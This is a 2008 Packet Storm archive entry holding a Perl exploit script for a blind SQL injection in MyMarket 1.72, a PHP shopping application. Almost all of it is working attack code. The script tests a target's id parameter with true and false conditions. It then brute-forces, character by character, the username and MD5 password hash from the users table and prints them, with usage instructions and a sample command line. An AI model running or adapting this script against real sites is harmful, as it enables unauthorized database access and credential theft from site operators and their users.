mymarket-blindsql.txt

2008-06-16T00:00:00
ID PACKETSTORM:67358
Type packetstorm
Reporter h0yt3r
Modified 2008-06-16T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
######################  
#  
#MyMarket 1.72 Blind SQL Injection Exploit  
#  
######################  
#  
#Bug by: h0yt3r  
#  
#Demo: http://mymarket.sourceforge.net/demo/shopping/  
#  
##  
###  
##  
#  
#http://www.site.de/mymarket/shopping/?id=bluah  
#Ok when we give $id an unexpected value like this we get an SQL Error.  
#Union selecting seems not possible...  
#Exploit needs a valid category id.  
#The Password is in md5 so exploiting will take an awful lot of time.  
#You will have to change the content on some sites if there are no categorys.  
#So I couldnt make it to write a stable expl for all sites using this.  
#  
#SQL Injection:  
#http://[target]/[path]/?id=[SQL]  
#  
#######################  
#  
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the foreverliving h4ck-y0u Team!  
#  
#######################  
#######################  
use LWP::UserAgent;  
my $userAgent = LWP::UserAgent->new;  
  
usage();  
  
$server = $ARGV[0];  
$dir = $ARGV[1];  
$id = $ARGV[2];  
  
  
print"\n";  
if (!$id) { die "Read Usage!\n"; }  
  
  
$filename ="index.php";  
  
my $vulnCheck = "http://".$server.$dir.$filename;  
  
my $goodSite = $vulnCheck."?id=".$id." and 1=1";  
my $badSite = $vulnCheck."?id=".$id." and 1=0";  
  
print"[x]Connecting:";  
my $Attack1= $userAgent->get($goodSite);  
my $Attack2= $userAgent->get($badSite);  
  
if($Attack1->is_success)  
{  
print " Connected \n";  
print "[x]Vulnerable Check: ";  
###Will change some times  
if($Attack1->content !~ m/None /i && $Attack2->content =~ m/None/i)  
{ print "Vulnerable \n"; }  
else  
{ print "Not Vulnerable"; exit;}  
}  
  
else  
{  
print " Connection Failed";  
exit;  
}  
  
my $asciiNUM="";  
my $length;  
  
print "[x]Bruteforcing Length...(if this freezes you have to change the content)\n";  
  
my $lengthCounter = 1;  
while(1)  
{  
my $url = "".$vulnCheck."?id=".$id."%20and%20LENGTH((select%20concat(username,0x3a,password)%20from%20users%20limit%200,1))=".$lengthCounter."";  
my $Attack= $userAgent->get($url);  
my $content = $Attack->content;  
if($content =~ m/None/i)  
{ $lengthCounter++; }  
else  
{ $length=$length.$lengthCounter; last; }  
}  
  
my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30","21","23","2B","28","29","40","2D","F5","25","26","2F","3F");  
  
print "[x]Injecting Black Magic...will take SOME time...\n";  
for($b=1;$b<=$length;$b++)  
{  
for(my $u=0;$u<53;$u++)  
{   
my $url = "".$vulnCheck."?id=".$id."%20and%20substring((select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),".$b.",1)=0x".$Daten[$u]."";  
  
my $Attack= $userAgent->get($url);  
  
my $content = $Attack->content;   
  
if($content !~ m/None/i)   
{   
print "[x]Found Char ".$Daten[$u]."\n";   
$hex=$hex.$Daten[$u];  
last;   
}  
  
  
}  
}  
  
print "[x]Converting \n";  
my $a_str = hex_to_ascii($hex);  
  
@login = split(/\:/, $a_str);  
  
print "[x]Success! \n";  
print " Username: $login[0]\n";  
print " Password: $login[1]";  
  
sub hex_to_ascii ($)  
{   
(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;  
return $str;  
}  
  
  
  
  
sub usage()  
{  
print q  
{  
######################################################  
MyMarket Remote Blind SQL Injection Exploit   
-Written by h0yt3r-   
Usage: MyMarket.pl [Server] [Path] [Category ID]  
Sample:  
perl MyMarket.pl www.site.com /shopping/ 1  
######################################################  
};  
  
}   
`